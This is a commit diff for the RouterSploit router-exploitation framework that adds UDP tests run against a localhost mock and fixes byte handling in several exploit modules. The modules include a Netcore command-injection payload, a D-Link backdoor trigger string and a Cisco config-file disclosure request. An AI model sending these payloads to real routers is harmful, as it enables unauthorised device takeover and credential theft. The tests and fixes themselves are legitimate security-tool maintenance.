Adding tests for UDP-based exploits (#468)

routersploit/core/udp/udp_client.py

@@ -33,11 +33,12 @@ class UDPClient(Exploit):
     def udp_send(self, udp_client, data):
         if udp_client:
             if type(data) is bytes:
+                try:
                     return udp_client.sendto(data, (self.target, self.port))
-            elif type(data) is str:
-                return udp_client.sendto(bytes(data, "utf-8"), (self.target, self.port))
+                except Exception:
+                    print_error("Exception while sending data", verbose=self.verbosity)
             else:
-                print_error("Data to send is not type of bytes or string", verbose=self.verbosity)
+                print_error("Data to send is not type of bytes", verbose=self.verbosity)
 
         return None
 
@@ -45,7 +46,7 @@ class UDPClient(Exploit):
         if udp_client:
             try:
                 response = udp_client.recv(num)
-                return str(response, "utf-8")
+                return response
             except socket.timeout:
                 print_error("Socket did timeout", verbose=self.verbosity)
             except socket.error:

routersploit/modules/creds/generic/snmp_bruteforce.py

@@ -64,4 +64,12 @@ class Exploit(SNMPClient):
 
     @mute
     def check_default(self):
+        self.strings = []
+
+        data = LockedIterator(self.defaults)
+        self.run_threads(self.threads, self.target_function, data)
+
+        if self.strings:
+            return self.strings
+
         return None

routersploit/modules/exploits/routers/cisco/ucm_info_disclosure.py

@@ -34,7 +34,7 @@ class Exploit(UDPClient):
         response = self.udp_recv(udp_client, 2048)
 
         if response and len(response):
-            if "UseUserCredential" in response:
+            if b"UseUserCredential" in response:
                 print_success("Exploit success - file {}".format("SPDefault.cnf.xml"))
                 print_info(response)
             else:
@@ -49,7 +49,7 @@ class Exploit(UDPClient):
 
         response = self.udp_recv(udp_client, 2048)
 
-        if response and len(response) and "UseUserCredential" in response:
+        if response and len(response) and b"UseUserCredential" in response:
             return True  # target is vulnerable
 
         return False  # target is not vulnerable

routersploit/modules/exploits/routers/dlink/dir_300_645_815_upnp_rce.py

@@ -68,7 +68,7 @@ class Exploit(UDPClient):
             response = self.udp_recv(udp_client, 65535)
             self.udp_close(udp_client)
 
-            if response and "Linux, UPnP/1.0, DIR-" in response:
+            if response and b"Linux, UPnP/1.0, DIR-" in response:
                 return True  # target is vulnerable
 
         return False  # target is not vulnerable

routersploit/modules/exploits/routers/dlink/dir_815_850l_rce.py

@@ -41,7 +41,7 @@ class Exploit(UDPClient):
         request = bytes(request, "utf-8")
 
         udp_client = self.udp_create()
-        self.udp_send(udp_client)
+        self.udp_send(udp_client, request)
         self.udp_close(udp_client)
 
         return ""

routersploit/modules/exploits/routers/dlink/dwr_932b_backdoor.py

@@ -41,7 +41,7 @@ class Exploit(UDPClient, TelnetClient):
         self.udp_send(udp_client, b"HELODBG")
 
         response = self.udp_recv(udp_client, 1024)
-        if response and "Hello" in response:
+        if response and b"Hello" in response:
             return True  # target is vulnerable
 
         return False  # target is not vulnerable

routersploit/modules/exploits/routers/netcore/udp_53413_rce.py

@@ -35,7 +35,7 @@ class Exploit(UDPClient):
     def execute(self, cmd):
         cmd = bytes(cmd, "utf-8")
 
-        payload = b"AA\x00\x00AAAA" + cmd + b'\x00'
+        payload = b"AA\x00\x00AAAA" + cmd + b"\x00"
         udp_client = self.udp_create()
         self.udp_send(udp_client, payload)
         response = self.udp_recv(udp_client, 1024)
@@ -48,8 +48,8 @@ class Exploit(UDPClient):
 
     @mute
     def check(self):
-        response = ""
-        payload = "\x00" * 8
+        response = b""
+        payload = b"\x00" * 8
 
         udp_client = self.udp_create()
         self.udp_send(udp_client, payload)
@@ -57,9 +57,9 @@ class Exploit(UDPClient):
             response = self.udp_recv(udp_client, 1024)
 
             if response:
-                if response.endswith("\xD0\xA5Login:"):
+                if response.endswith(b"\xD0\xA5Login:"):
                     return True  # target is vulnerable
-                elif response.endswith("\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x01\x00\x00"):
+                elif response.endswith(b"\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x01\x00\x00"):
                     return True  # target is vulnerable
 
         return False  # target is not vulnerable

routersploit/modules/generic/upnp/ssdp_msearch.py

@@ -28,12 +28,15 @@ class Exploit(UDPClient):
             "MX: 2\r\n" +
             "ST: upnp:rootdevice\r\n\r\n"
         )
+        request = bytes(request, "utf-8")
 
         udp_client = self.udp_create()
         self.udp_send(udp_client, request)
 
         response = self.udp_recv(udp_client, 1024)
         if response:
+            response = str(response, "utf-8")
+
             info = {}
             regexps = {
                 "server": r"Server:\s*(.*?)\r\n",

tests/conftest.py

@@ -5,6 +5,7 @@ from threat9_test_bed.service_mocks import HttpScenarioService, HttpServiceMock
 from threat9_test_bed.scenarios import TelnetScenario
 from threat9_test_bed.service_mocks.telnet_service_mock import TelnetServiceMock
 from threat9_test_bed.service_mocks.tcp_service_mock import TCPServiceMock
+from threat9_test_bed.service_mocks.udp_service_mock import UDPServiceMock
 
 
 @pytest.fixture
@@ -65,3 +66,9 @@ def generic_target():
 def tcp_target():
     with TCPServiceMock("127.0.0.1", 0) as tcp_service:
         yield tcp_service
+
+
+@pytest.fixture
+def udp_target():
+    with UDPServiceMock("127.0.0.1", 0) as udp_service:
+        yield udp_service

tests/exploits/routers/cisco/test_ucm_info_disclosure.py

+from routersploit.modules.exploits.routers.cisco.ucm_info_disclosure import Exploit
+
+
+def test_check_success(udp_target):
+    """ Test scenario - successful check """
+
+    command_mock = udp_target.get_command_mock(b"\x00\x01SPDefault.cnf.xml\x00netascii\x00")
+    command_mock.return_value = b"TEST UseUserCredential Test"
+
+    exploit = Exploit()
+    exploit.target = udp_target.host
+    exploit.port = udp_target.port
+
+    assert exploit.check()
+    assert exploit.run() is None

tests/exploits/routers/dlink/test_dir_300_645_815_upnp_rce.py

+from unittest import mock
+from routersploit.modules.exploits.routers.dlink.dir_300_645_815_upnp_rce import Exploit
+
+
+@mock.patch("routersploit.modules.exploits.routers.dlink.dir_300_645_815_upnp_rce.shell")
+def test_check_success(mocked_shell, udp_target):
+    """ Test scenario - successful check """
+
+    request = (
+        b"M-SEARCH * HTTP/1.1\r\n"
+        b"Host:239.255.255.250:1900\r\n"
+        b"ST:upnp:rootdevice\r\n"
+        b"Man:\"ssdp:discover\"\r\n"
+        b"MX:2\r\n\r\n"
+    )
+
+    command_mock = udp_target.get_command_mock(request)
+    command_mock.return_value = b"Linux, UPnP/1.0, DIR-1234"
+
+    exploit = Exploit()
+    exploit.target = udp_target.host
+    exploit.port = udp_target.port
+
+    assert exploit.check()
+    assert exploit.run() is None

tests/exploits/routers/dlink/test_dir_815_850l_rce.py

+from unittest import mock
+from routersploit.modules.exploits.routers.dlink.dir_815_850l_rce import Exploit
+
+
+@mock.patch("routersploit.modules.exploits.routers.dlink.dir_815_850l_rce.shell")
+def test_check_success(mocked_shell, udp_target):
+    """ Test scenario - successful check """
+
+    exploit = Exploit()
+    exploit.target = udp_target.host
+    exploit.port = udp_target.port
+
+    assert exploit.check() is None
+    assert exploit.run() is None

tests/exploits/routers/dlink/test_dwr_932b_backdoor.py

+from unittest import mock
+from routersploit.modules.exploits.routers.dlink.dwr_932b_backdoor import Exploit
+
+
+@mock.patch("routersploit.modules.exploits.routers.dlink.dwr_932b_backdoor.shell")
+def test_check_success(mocked_shell, udp_target):
+    """ Test scenario - successful check """
+
+    command_mock = udp_target.get_command_mock(b"HELODBG")
+    command_mock.return_value = b"TEST Hello TEST"
+
+    exploit = Exploit()
+    exploit.target = udp_target.host
+    exploit.port = udp_target.port
+
+    assert exploit.check()
+    assert exploit.run() is None

tests/exploits/routers/huawei/test_hg520_info_disclosure.py

+from routersploit.modules.exploits.routers.huawei.hg520_info_disclosure import Exploit
+
+
+def test_check_success(udp_target):
+    """ Test scenario - successful check """
+
+    request = (
+        b"\x00\x01\x00\x00\x0e\x00\xeb\x03\x7f\x0a\x5f\x00\x10\x00\x02\x00\x13\x00\x00\x00\x50\x02\x00\x00\xe0\xf4\x12\x00\xb0\xaa\x19\x00"
+        b"\x18\x87\x15\x00\x84\xfb\x12\x00\x00\x00\x00\x00\x78\x76\x4b\x02\xa8\x87\xec\x01\x00\x00\x00\x00\x38\x12\x19\x00\x10\xf5\x12\x00"
+        b"\x32\x00\x00\x00\x34\x60\x5d\x77\x00\x00\x00\x00\x84\xfb\x12\x00\x01\x00\x00\x00\xb8\x88\x24\x00\xf8\x8f\x19\x00\x0d\x00\x00\x00"
+        b"\x18\x94\x19\x00\xf8\x98\x19\x00\x74\xf4\x12\x00\x84\xf6\x12\x00\x4c\xf7\x12\x00\x00\xe9\x91\x7c\x10\x6f\x94\x7c\x00\x00\xff\xff"
+        b"\xae\x2c\x92\x7c\xe4\x2c\x92\x7c\x51\x2d\x92\x7c\x58\x2d\x92\x7c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf8\xf7\x12\x00"
+        b"\x44\xf5\x12\x00\xb0\x65\x92\x7c\xf8\xf7\x12\x00\x00\xe9\x91\x7c\x60\x2d\x92\x7c\xff\xff\xff\xff\x58\x2d\x92\x7c\x12\x66\x92\x7c"
+        b"\x01\x00\x00\x00\x76\x02\x48\x0d\xee\x64\x92\x7c\x00\x00\x00\x00\x9c\x70\x40\x00\x00\x00\x00\x00\x34\x60\x5d\x77\x30\x28\x1f\x00"
+        b"\x00\x00\x00\x00\x00\x00\x00\x00\x70\x2f\x15\x00\x78\x01\x15\x00\x00\x00\x00\x00\x78\x2f\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+        b"\x00\x00\x00\x00\x54\xf8\x12\x00\xa8\x87\xec\x01\x50\xf8\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x76\x02\x48\x0d\x00\x00\x08\x02"
+        b"\xe4\xf5\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\xf8\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+        b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x00\x00\x00"
+        b"\x00\x00\x00\x00\x00\x00\x00\x00\x5c\xf6\x12\x00\x0d\x00\x00\x00\xa2\x6f\x94\x7c\xf8\x98\x19\x00\x78\x76\x4b\x02\xd8\x93\x19\x00"
+        b"\x60\x90\x19\x00\x0d\x00\x00\x00\xf8\x8f\x19\x00\x84\xfb\x12\x00\x28\xf6\x12\x00\x30\xd4\x4c\x77\x48\xf7\x12\x00\x00\xe9\x91\x7c"
+        b"\x94\xf6\x12\x00\x94\xf6\x12\x00\xd8\x93\x19\x00\xec\x73\x94\x7c\x70\xe3\x4b\x02\x00\x00\x00\x00\x00\x00\x15\x00\x00\x00\x00\x00"
+        b"\x00\x00\x00\x00\x0f\x00\x41\x00\x13\x00\x00\x00\x10\x00\x00\x00\x01\x00\x00\x00\xf8\x98\x19\x00\xb4\xf9\x12\x00\xf8\x8f\x19\x00"
+        b"\x58\xf7\x12\x00\x3d\x00\x92\x7c\xf6\x89\xec\x01\x00\x00\x00\x00\xe8\x06\x02\x00\x54\xfc\x12\x00\x01\x00\x00\x00\x01\x00\x00\x00"
+        b"\x00\x00\x00\x00\x12\xe1\xf8\x09\x7d\x0b\x00\x00\x72\xab\x56\x48\x3f\xe1\xbe\x07\x15\x04\x92\x7c\x1e\x04\x92\x7c\x00\x00\x00\x00"
+        b"\x00\x00\x00\x00\x00\xe0\xfd\x7f\xeb\x50\xd7\xc6\x1a\x00\x00\x00\x00\xe0\xfd\x7f\x00\x10\x91\x7c\x00\x00\x00\x00\x00\x00\x01\x00"
+        b"\x00\xe0\xfd\x7f\x5c\xf7\x12\x00\xe6\x45\x92\x7c\x40\x04\x92\x7c\x00\xd6\x98\x7c\x48\xf7\x12\x00\x40\x12\x19\x00\x8a\x74\x94\x7c"
+        b"\x2c\xf7\x12\x00\xa8\x87\xec\x01\x00\x00\x00\x00\x00\x00\x15\x00\x0e\x00\xeb\x03\x80\x0a\x5f\x00\x64\x46\x00\x10\xfe\xf7\x12\x00"
+        b"\xb0\x44\x00\x10\x04\x00\x00\x00\x8c\xf7\x12\x00\xd3\x7e\x92\x7c\xfe\xf7\x12\x00\x31\x00\x00\x00\x00\x00\x00\x10\xa0\x45\x00\x10"
+        b"\x64\x46\x00\x10\x00\x00\x00\x00\x01\x00\x00\x00\xfc\xf7\x12\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x10\xe0\x00\x00\x10"
+        b"\x64\xf7\x12\x00\x01\x00\x00\x00\x9c\xf7\x12\x00\x65\x03\x92\x7c\x00\x00\x00\x10\x00\x00\x00\x00\x58\xf8\x12\x00\x9a\x7d\x92\x7c"
+        b"\x00\x00\x00\x10\xfe\xf7\x12\x00\xf8\xf7\x12\x00\xf8\xf7\x12\x00\xfe\xf7\x12\x00\x3f\x7e\x92\x7c\x78\xb1\x98\x7c\xe9\x7d\x92\x7c"
+        b"\x8c\x70\x40\x00\x9c\x70\x40\x00\xff\xff\x00\x00\x00\xd0\xfd\x7f\xe0\x47\x25\x00\x08\xe4\x80\x7c\xb0\x44\x00\x10\x6c\xe4\x80\x7c"
+        b"\xf0\x47\x25\x00\xa8\xf8\x12\x00\x00\x00\x00\x10\x00\x00\x00\x00\xfc\xf7\x12\x00\xfc\xf7\x12\x00\x00\x00\x00\x00\xfe\x04\x00\x00"
+        b"\xd0\x41\x25\x00\x00\x1b\x00\x10\x00\x00\x67\x65\x74\x41\x64\x73\x6c\x53\x74\x61\x74\x75\x73\x00\x3d\x00\x92\x7c\xea\x1b\x80\x7c"
+        b"\x00\x00\x15\x00\x00\x00\x00\x00\xfa\x1b\x80\x7c\x64\x5d\x47\x00\x9c\x70\x40\x00\x9f\xac\x80\x7c\x4e\x02\x50\x02\xa8\x87\xec\x01"
+        b"\x16\x00\x18\x00\x00\xdc\xfd\x7f\xef\xfa\x00\x00\xb4\xf7\x12\x00\xa8\x87\xec\x01\xa8\xf9\x12\x00\x00\xe9\x91\x7c\xf0\x7d\x92\x7c"
+        b"\xff\xff\xff\xff\xe9\x7d\x92\x7c\xa0\x7e\x92\x7c\x00\x00\x00\x10\x94\xf8\x12\x00\x00\x00\x00\x00\xa8\xf8\x12\x00\x01\x00\x00\x00"
+        b"\x9c\xf8\x12\x00\x6e\xae\x80\x7c\x9c\xf8\x12\x00\x80\xae\x80\x7c\x00\x00\x00\x10\x00\x00\x00\x00\x64\x5d\x47\x00\x9f\xac\x80\x7c"
+        b"\x0d\x00\x0e\x00\x8c\x70\x40\x00\xc4\xf8\x12\x00\xd8\xa0\x00\x66\x00\x00\x00\x10\x00\x1b\x00\x10\x84\xfb\x12\x00\x54\xfc\x12\x00"
+        b"\x01\x00\x00\x00\x68\xf8\x16\x00\xdc\xf8\x12\x00\x44\x4a\x0f\x77\xf4\xf8\x12\x00\x3b\xa0\x00\x66\x9c\x70\x40\x00\x01\x00\x00\x00"
+        b"\xec\xf8\x12\x00\xf0\xf8\x12\x00\xe8\xf8\x12\x00\x84\xfb\x12\x00\x54\xfc\x12\x00\x84\xfb\x12\x00\x00\x1b\x00\x10\x00\x00\x00\x00"
+        b"\xb8\xf9\x12\x00\xcb\x70\x40\x00\x9c\x70\x40\x00"
+    )
+
+    command_mock = udp_target.get_command_mock(request)
+    command_mock.return_value = b"TEST RESPONSE"
+
+    exploit = Exploit()
+    exploit.target = udp_target.host
+    exploit.port = udp_target.port
+
+    assert exploit.check()
+    assert exploit.run() is None

tests/exploits/routers/netcore/test_udp_53413_rce.py

+from unittest import mock
+from routersploit.modules.exploits.routers.netcore.udp_53413_rce import Exploit
+
+
+@mock.patch("routersploit.modules.exploits.routers.netcore.udp_53413_rce.shell")
+def test_check_success1(mocked_shell, udp_target):
+    """ Test scenario - successful check """
+
+    command_mock = udp_target.get_command_mock(b"\x00" * 8)
+    command_mock.return_value = b"\xD0\xA5Login:"
+
+    exploit = Exploit()
+    exploit.target = udp_target.host
+    exploit.port = udp_target.port
+
+    assert exploit.check()
+    assert exploit.run() is None
+
+
+@mock.patch("routersploit.modules.exploits.routers.netcore.udp_53413_rce.shell")
+def test_check_success(mocked_shell, udp_target):
+    """ Test scenario - successful check """
+
+    command_mock = udp_target.get_command_mock(b"\x00" * 8)
+    command_mock.return_value = b"\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x01\x00\x00"
+
+    exploit = Exploit()
+    exploit.target = udp_target.host
+    exploit.port = udp_target.port
+
+    assert exploit.check()
+    assert exploit.run() is None

tests/generic/upnp/test_ssdp_msearch.py

+from routersploit.modules.generic.upnp.ssdp_msearch import Exploit
+
+
+def test_check_success(udp_target):
+    """ Test scenario - successful check """
+
+    request = (
+        "M-SEARCH * HTTP/1.1\r\n" +
+        "HOST: {}:{}\r\n".format(udp_target.host, udp_target.port) +
+        "MAN: \"ssdp:discover\"\r\n" +
+        "MX: 2\r\n" +
+        "ST: upnp:rootdevice\r\n\r\n"
+    )
+    request = bytes(request, "utf-8")
+
+    response = (
+        b"HTTP/1.1 200 OK\r\n"
+        b"CACHE-CONTROL: max-age=120\r\n"
+        b"ST: upnp:rootdevice\r\n"
+        b"USN: uuid:0ef8055a-8850-47b8-ac43-91f41fdd8d83::upnp:rootdevice\r\n"
+        b"EXT:\r\n"
+        b"SERVER: AsusWRT/3.0.0.4 UPnP/1.1 MiniUPnPd/1.9\r\n"
+        b"LOCATION: http://192.168.2.1:48611/rootDesc.xml\r\n"
+        b"OPT: \"http://schemas.upnp.org/upnp/1/0/\"; ns=01\r\n"
+        b"01-NLS: 1\r\n"
+        b"BOOTID.UPNP.ORG: 1\r\n"
+        b"CONFIGID.UPNP.ORG: 1337\r\n\r\n"
+    )
+
+    command_mock = udp_target.get_command_mock(request)
+    command_mock.return_value = response
+
+    exploit = Exploit()
+    exploit.target = udp_target.host
+    exploit.port = udp_target.port
+
+    assert exploit.run() is None